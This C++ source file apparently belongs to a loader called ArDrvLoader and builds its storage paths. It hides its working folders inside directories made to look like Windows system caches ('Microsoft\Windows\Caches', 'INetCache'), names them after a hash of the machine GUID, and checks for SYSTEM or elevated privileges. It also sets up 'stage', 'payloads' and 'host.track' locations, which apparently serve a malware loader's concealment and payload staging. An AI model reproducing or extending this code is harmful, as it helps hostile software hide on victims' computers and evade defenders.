230 lines
5.1 KiB
C++
230 lines
5.1 KiB
C++
#include "Common.h"
|
|
#include "Paths.h"
|
|
|
|
#include <vector>
|
|
|
|
static std::wstring ProgramDataDir()
|
|
{
|
|
wchar_t buf[MAX_PATH]{};
|
|
|
|
DWORD n = GetEnvironmentVariableW(L"ProgramData", buf, _countof(buf));
|
|
|
|
if (n > 0 && n < _countof(buf))
|
|
return buf;
|
|
|
|
return L"C:\\ProgramData";
|
|
}
|
|
|
|
static std::wstring MachineGuid()
|
|
{
|
|
HKEY key = nullptr;
|
|
std::wstring out;
|
|
|
|
if (RegOpenKeyExW(
|
|
HKEY_LOCAL_MACHINE,
|
|
L"SOFTWARE\\Microsoft\\Cryptography",
|
|
0,
|
|
KEY_READ | KEY_WOW64_64KEY,
|
|
&key) == ERROR_SUCCESS)
|
|
{
|
|
wchar_t buf[128]{};
|
|
DWORD size = sizeof(buf);
|
|
DWORD type = 0;
|
|
|
|
if (RegQueryValueExW(key, L"MachineGuid", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS &&
|
|
type == REG_SZ)
|
|
{
|
|
out = buf;
|
|
}
|
|
|
|
RegCloseKey(key);
|
|
}
|
|
|
|
if (out.empty())
|
|
{
|
|
// Fall back to the volume serial so the path is still per-machine.
|
|
DWORD serial = 0;
|
|
|
|
if (!GetVolumeInformationW(L"C:\\", nullptr, 0, &serial, nullptr, nullptr, nullptr, 0))
|
|
serial = 0x12345678;
|
|
|
|
wchar_t hex[16]{};
|
|
swprintf_s(hex, L"%08lx", serial);
|
|
out = hex;
|
|
}
|
|
|
|
return out;
|
|
}
|
|
|
|
// FNV-1a over the machine GUID: 8 hex chars, stable on this host only.
|
|
static std::wstring MachineTag()
|
|
{
|
|
const std::wstring guid = MachineGuid();
|
|
|
|
unsigned int hash = 2166136261u;
|
|
|
|
for (wchar_t c : guid)
|
|
{
|
|
hash ^= (unsigned int)(c & 0xFF);
|
|
hash *= 16777619u;
|
|
hash ^= (unsigned int)((c >> 8) & 0xFF);
|
|
hash *= 16777619u;
|
|
}
|
|
|
|
wchar_t out[16]{};
|
|
swprintf_s(out, L"%08x", hash);
|
|
|
|
return out;
|
|
}
|
|
|
|
static std::wstring LocalAppDataDir()
|
|
{
|
|
wchar_t buf[MAX_PATH]{};
|
|
|
|
DWORD n = GetEnvironmentVariableW(L"LOCALAPPDATA", buf, _countof(buf));
|
|
|
|
if (n > 0 && n < _countof(buf))
|
|
return buf;
|
|
|
|
return ProgramDataDir();
|
|
}
|
|
|
|
static bool RunningElevatedOrSystem()
|
|
{
|
|
HANDLE token = nullptr;
|
|
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
|
return false;
|
|
|
|
TOKEN_ELEVATION elevation{};
|
|
DWORD len = sizeof(elevation);
|
|
bool elevated = false;
|
|
|
|
if (GetTokenInformation(token, TokenElevation, &elevation, len, &len))
|
|
elevated = elevation.TokenIsElevated != 0;
|
|
|
|
if (!elevated)
|
|
{
|
|
// SYSTEM is never "elevated" in the UAC sense but is fully privileged.
|
|
DWORD needed = 0;
|
|
GetTokenInformation(token, TokenUser, nullptr, 0, &needed);
|
|
|
|
if (needed > 0)
|
|
{
|
|
std::vector<BYTE> buf(needed);
|
|
PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());
|
|
|
|
if (GetTokenInformation(token, TokenUser, tu, needed, &needed))
|
|
{
|
|
LPWSTR sid = nullptr;
|
|
|
|
if (ConvertSidToStringSidW(tu->User.Sid, &sid))
|
|
{
|
|
elevated = wcscmp(sid, L"S-1-5-18") == 0;
|
|
LocalFree(sid);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
CloseHandle(token);
|
|
return elevated;
|
|
}
|
|
|
|
std::wstring ArdrvRoot()
|
|
{
|
|
wchar_t override[MAX_PATH]{};
|
|
|
|
DWORD n = GetEnvironmentVariableW(L"ARDRV_ROOT", override, _countof(override));
|
|
|
|
if (n > 0 && n < _countof(override))
|
|
{
|
|
std::wstring root = override;
|
|
EnsureDirExists(root);
|
|
return root;
|
|
}
|
|
|
|
const std::wstring tag = MachineTag();
|
|
const bool elevated = RunningElevatedOrSystem();
|
|
|
|
// Machine-wide deep path for services and elevated runs.
|
|
std::wstring machine = ProgramDataDir() + L"\\Microsoft\\Windows\\Caches\\" + tag;
|
|
|
|
// Per-user deep path for an agent running as the interactive user.
|
|
std::wstring user = LocalAppDataDir() + L"\\Microsoft\\Windows\\INetCache\\" + tag;
|
|
|
|
std::wstring preferred = elevated ? machine : user;
|
|
std::wstring alternate = elevated ? user : machine;
|
|
|
|
EnsureDirExists(preferred);
|
|
|
|
if (GetFileAttributesW(preferred.c_str()) != INVALID_FILE_ATTRIBUTES)
|
|
return preferred;
|
|
|
|
EnsureDirExists(alternate);
|
|
|
|
if (GetFileAttributesW(alternate.c_str()) != INVALID_FILE_ATTRIBUTES)
|
|
return alternate;
|
|
|
|
std::wstring flat = ProgramDataDir() + L"\\ArDrvLoader";
|
|
EnsureDirExists(flat);
|
|
|
|
return flat;
|
|
}
|
|
|
|
void EnsureDirExists(const std::wstring& path)
|
|
{
|
|
if (path.empty())
|
|
return;
|
|
|
|
std::wstring partial;
|
|
|
|
for (size_t i = 0; i < path.size(); ++i)
|
|
{
|
|
partial += path[i];
|
|
|
|
if (path[i] == L'\\' || i + 1 == path.size())
|
|
{
|
|
if (partial.size() > 3)
|
|
CreateDirectoryW(partial.c_str(), nullptr);
|
|
}
|
|
}
|
|
}
|
|
|
|
std::wstring ArdrvServiceDir(const std::wstring& serviceName)
|
|
{
|
|
std::wstring dir = ArdrvRoot();
|
|
dir += L"\\";
|
|
dir += serviceName;
|
|
|
|
EnsureDirExists(dir);
|
|
return dir;
|
|
}
|
|
|
|
std::wstring ArdrvStageDir()
|
|
{
|
|
std::wstring dir = ArdrvRoot();
|
|
dir += L"\\stage";
|
|
|
|
EnsureDirExists(dir);
|
|
return dir;
|
|
}
|
|
|
|
std::wstring ArdrvStatePath()
|
|
{
|
|
std::wstring path = ArdrvRoot();
|
|
path += L"\\state.dat";
|
|
|
|
return path;
|
|
}
|
|
|
|
std::wstring ArdrvLegacyStageDir()
|
|
{
|
|
return ProgramDataDir() + L"\\ArDrvLoader\\payloads";
|
|
}
|
|
|
|
std::wstring ArdrvLegacyStatePath()
|
|
{
|
|
return ProgramDataDir() + L"\\ArDrvLoader\\host.track";
|
|
}
|